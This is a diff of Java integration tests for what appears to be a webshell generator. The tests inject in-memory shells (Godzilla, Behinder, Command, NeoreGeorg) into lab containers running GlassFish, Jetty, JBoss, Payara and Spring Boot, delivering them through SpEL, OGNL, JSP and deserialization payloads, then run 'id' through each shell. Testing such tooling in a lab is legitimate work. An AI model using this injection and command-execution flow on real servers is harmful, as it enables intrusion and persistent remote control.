|
||||||
String urlPattern = null;
|
String urlPattern = null;
|
||||||
if (shellType.endsWith(ShellType.SERVLET)
|
if (shellType.endsWith(ShellType.SERVLET)
|
||||||
|| shellType.endsWith(ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER)
|
|| shellType.endsWith(ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER)
|
||||||
@@ -70,9 +71,26 @@ public class ShellAssertionTool {
|
|||||||
URL url1 = new URL(url);
|
URL url1 = new URL(url);
|
||||||
shellUrl = "ws://" + url1.getHost() + ":" + url1.getPort() + url1.getPath() + urlPattern;
|
shellUrl = "ws://" + url1.getHost() + ":" + url1.getPort() + url1.getPath() + urlPattern;
|
||||||
}
|
}
|
||||||
|
return Pair.of(shellUrl, urlPattern);
|
||||||
|
}
|
||||||
|
|
||||||
GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, packer);
|
@SneakyThrows
|
||||||
|
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||||
|
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
|
||||||
|
String shellUrl = urls.getLeft();
|
||||||
|
String urlPattern = urls.getRight();
|
||||||
|
|
||||||
|
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
|
||||||
|
|
||||||
|
GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig);
|
||||||
|
|
||||||
|
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
|
||||||
|
|
||||||
|
assertShellIsOk(generateResult, shellUrl, shellTool, shellType, appContainer, pythonContainer);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
|
||||||
String content = null;
|
String content = null;
|
||||||
if (packer.getInstance() instanceof JarPacker) {
|
if (packer.getInstance() instanceof JarPacker) {
|
||||||
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
|
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
|
||||||
@@ -95,16 +113,19 @@ public class ShellAssertionTool {
|
|||||||
assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
||||||
log.info("send inject payload successfully");
|
log.info("send inject payload successfully");
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void assertShellIsOk(GenerateResult generateResult, String shellUrl, ShellTool shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||||
switch (shellTool) {
|
switch (shellTool) {
|
||||||
case Godzilla:
|
case Godzilla:
|
||||||
testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
|
testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
|
||||||
break;
|
break;
|
||||||
case Command:
|
case Command:
|
||||||
if (shellType.endsWith(ShellType.WEBSOCKET)) {
|
if (shellType.endsWith(ShellType.WEBSOCKET)) {
|
||||||
testWebSocketCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()));
|
testWebSocketCommandIsOk(shellUrl, "id");
|
||||||
} else {
|
} else {
|
||||||
testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()));
|
testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id");
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case Behinder:
|
case Behinder:
|
||||||
@@ -143,11 +164,11 @@ public class ShellAssertionTool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig) {
|
public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig, String payload) {
|
||||||
OkHttpClient okHttpClient = new OkHttpClient();
|
OkHttpClient okHttpClient = new OkHttpClient();
|
||||||
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
|
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
|
||||||
.newBuilder()
|
.newBuilder()
|
||||||
.addQueryParameter(shellConfig.getParamName(), "id")
|
.addQueryParameter(shellConfig.getParamName(), payload)
|
||||||
.build();
|
.build();
|
||||||
Request request = new Request.Builder()
|
Request request = new Request.Builder()
|
||||||
.url(url)
|
.url(url)
|
||||||
@@ -160,7 +181,8 @@ public class ShellAssertionTool {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void testWebSocketCommandIsOk(String entrypoint, CommandConfig shellConfig) throws Exception {
|
@SneakyThrows
|
||||||
|
public static void testWebSocketCommandIsOk(String entrypoint, String payload) {
|
||||||
final CountDownLatch latch = new CountDownLatch(1);
|
final CountDownLatch latch = new CountDownLatch(1);
|
||||||
final String[] responseHolder = new String[1];
|
final String[] responseHolder = new String[1];
|
||||||
final long timeout = 5;
|
final long timeout = 5;
|
||||||
@@ -168,7 +190,7 @@ public class ShellAssertionTool {
|
|||||||
WebSocketClient client = new WebSocketClient(new URI(entrypoint)) {
|
WebSocketClient client = new WebSocketClient(new URI(entrypoint)) {
|
||||||
@Override
|
@Override
|
||||||
public void onOpen(ServerHandshake data) {
|
public void onOpen(ServerHandshake data) {
|
||||||
send("id");
|
send(payload);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -219,21 +241,7 @@ public class ShellAssertionTool {
|
|||||||
assertTrue(antSwordManager.getInfo().contains("ok"));
|
assertTrue(antSwordManager.getInfo().contains("ok"));
|
||||||
}
|
}
|
||||||
|
|
||||||
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
|
public static ShellToolConfig getShellToolConfig(String shellType, ShellTool shellTool, Packers packer) {
|
||||||
InjectorConfig injectorConfig = new InjectorConfig();
|
|
||||||
if (StringUtils.isNotBlank(urlPattern)) {
|
|
||||||
injectorConfig.setUrlPattern(urlPattern);
|
|
||||||
}
|
|
||||||
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(server)
|
|
||||||
.shellTool(shellTool)
|
|
||||||
.shellType(shellType)
|
|
||||||
.targetJreVersion(targetJdkVersion)
|
|
||||||
.debug(true)
|
|
||||||
.shrink(true)
|
|
||||||
.build();
|
|
||||||
|
|
||||||
ShellToolConfig shellToolConfig = null;
|
ShellToolConfig shellToolConfig = null;
|
||||||
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
|
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
|
||||||
switch (shellTool) {
|
switch (shellTool) {
|
||||||
@@ -285,6 +293,24 @@ public class ShellAssertionTool {
|
|||||||
log.info("generated {} NeoreGeorg with Referer: {}", shellType, uniqueName);
|
log.info("generated {} NeoreGeorg with Referer: {}", shellType, uniqueName);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
return shellToolConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) {
|
||||||
|
InjectorConfig injectorConfig = new InjectorConfig();
|
||||||
|
if (StringUtils.isNotBlank(urlPattern)) {
|
||||||
|
injectorConfig.setUrlPattern(urlPattern);
|
||||||
|
}
|
||||||
|
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(server)
|
||||||
|
.shellTool(shellTool)
|
||||||
|
.shellType(shellType)
|
||||||
|
.targetJreVersion(targetJdkVersion)
|
||||||
|
.byPassJavaModule(targetJdkVersion >= Opcodes.V9)
|
||||||
|
.debug(true)
|
||||||
|
.shrink(true)
|
||||||
|
.build();
|
||||||
return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -306,7 +332,7 @@ public class ShellAssertionTool {
|
|||||||
}
|
}
|
||||||
case ScriptEngine -> VulTool.postData(url + "/js", content);
|
case ScriptEngine -> VulTool.postData(url + "/js", content);
|
||||||
case EL -> VulTool.postData(url + "/el", content);
|
case EL -> VulTool.postData(url + "/el", content);
|
||||||
case SpEL -> VulTool.postData(url + "/spel", content);
|
case SpEL, SpELSpringIOUtils -> VulTool.postData(url + "/spel", content);
|
||||||
case OGNL -> VulTool.postData(url + "/ognl", content);
|
case OGNL -> VulTool.postData(url + "/ognl", content);
|
||||||
case MVEL -> VulTool.postData(url + "/mvel", content);
|
case MVEL -> VulTool.postData(url + "/mvel", content);
|
||||||
case JXPath -> VulTool.postData(url + "/jxpath", content);
|
case JXPath -> VulTool.postData(url + "/jxpath", content);
|
||||||
|
|||||||
@@ -71,6 +71,6 @@ public class GlassFish6ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -71,6 +71,6 @@ public class GlassFish7ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -42,6 +42,7 @@ public class Jboss423ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war")
|
||||||
|
.withEnv("JAVA_OPTS", "-Xms128m -Xmx512m -XX:MaxPermSize=128M -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
.withNetwork(network)
|
.withNetwork(network)
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ import org.testcontainers.containers.wait.strategy.Wait;
|
|||||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
@@ -33,7 +34,7 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty11ContainerTest {
|
public class Jetty11ContainerTest {
|
||||||
public static final String imageName = "jetty:11-jre11";
|
public static final String imageName = "jetty:11.0-jre17";
|
||||||
static Network network = Network.newNetwork();
|
static Network network = Network.newNetwork();
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
@@ -52,12 +53,19 @@ public class Jetty11ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
|
ShellType.JAKARTA_SERVLET,
|
||||||
ShellType.JETTY_AGENT_HANDLER,ShellType.JETTY_AGENT_HANDLER_ASM
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER_ASM
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
|
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
|
||||||
|
Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar), // jdk module
|
||||||
|
Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar) // jdk module
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta
|
unSupportedCases, List.of(ShellTool.AntSword)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -70,6 +78,6 @@ public class Jetty11ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,73 @@
|
|||||||
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.DockerComposeContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/7
|
||||||
|
*/
|
||||||
|
@Slf4j
|
||||||
|
@Testcontainers
|
||||||
|
public class Jetty12ee10ContainerTest {
|
||||||
|
public static final String imageName = "jetty:12.0-jre21-ee10";
|
||||||
|
public static final String serviceName = "jetty1221ee10";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final DockerComposeContainer<?> compose =
|
||||||
|
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee10.yaml"))
|
||||||
|
.withExposedService(serviceName, 8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
Server server = Server.Jetty;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
|
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = compose.getContainerByServiceName(serviceName).get().getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl() {
|
||||||
|
String host = compose.getServiceHost(serviceName, 8080);
|
||||||
|
int port = compose.getServicePort(serviceName, 8080);
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.DockerComposeContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/7
|
||||||
|
*/
|
||||||
|
@Slf4j
|
||||||
|
@Testcontainers
|
||||||
|
public class Jetty12ee8ContainerTest {
|
||||||
|
public static final String imageName = "jetty:12.0-jre21-ee8";
|
||||||
|
public static final String serviceName = "jetty1221ee8";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final DockerComposeContainer<?> compose =
|
||||||
|
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee8.yaml"))
|
||||||
|
.withExposedService(serviceName, 8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
Server server = Server.Jetty;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
|
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = compose.getContainerByServiceName(serviceName).get().getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl() {
|
||||||
|
String host = compose.getServiceHost(serviceName, 8080);
|
||||||
|
int port = compose.getServicePort(serviceName, 8080);
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.DockerComposeContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/7
|
||||||
|
*/
|
||||||
|
@Slf4j
|
||||||
|
@Testcontainers
|
||||||
|
public class Jetty12ee9ContainerTest {
|
||||||
|
public static final String imageName = "jetty:12.0-jre21-ee9";
|
||||||
|
public static final String serviceName = "jetty1221ee9";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final DockerComposeContainer<?> compose =
|
||||||
|
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee9.yaml"))
|
||||||
|
.withExposedService(serviceName, 8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
Server server = Server.Jetty;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
|
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = compose.getContainerByServiceName(serviceName).get().getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl() {
|
||||||
|
String host = compose.getServiceHost(serviceName, 8080);
|
||||||
|
int port = compose.getServicePort(serviceName, 8080);
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -69,6 +69,6 @@ public class Payara620222ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -82,4 +82,25 @@ public class SpringBoot2ContainerTest {
|
|||||||
log.info("container started, app url is : {}", url);
|
log.info("container started, app url is : {}", url);
|
||||||
return url;
|
return url;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static Stream<Arguments> tomcatCasesProvider() {
|
||||||
|
Server server = Server.Tomcat;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.FILTER,
|
||||||
|
// ShellType.LISTENER,
|
||||||
|
ShellType.VALVE,
|
||||||
|
ShellType.WEBSOCKET,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
||||||
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("tomcatCasesProvider")
|
||||||
|
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,105 @@
|
|||||||
|
package com.reajason.javaweb.integration.springmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class SpringBoot2JettyContainerTest {
|
||||||
|
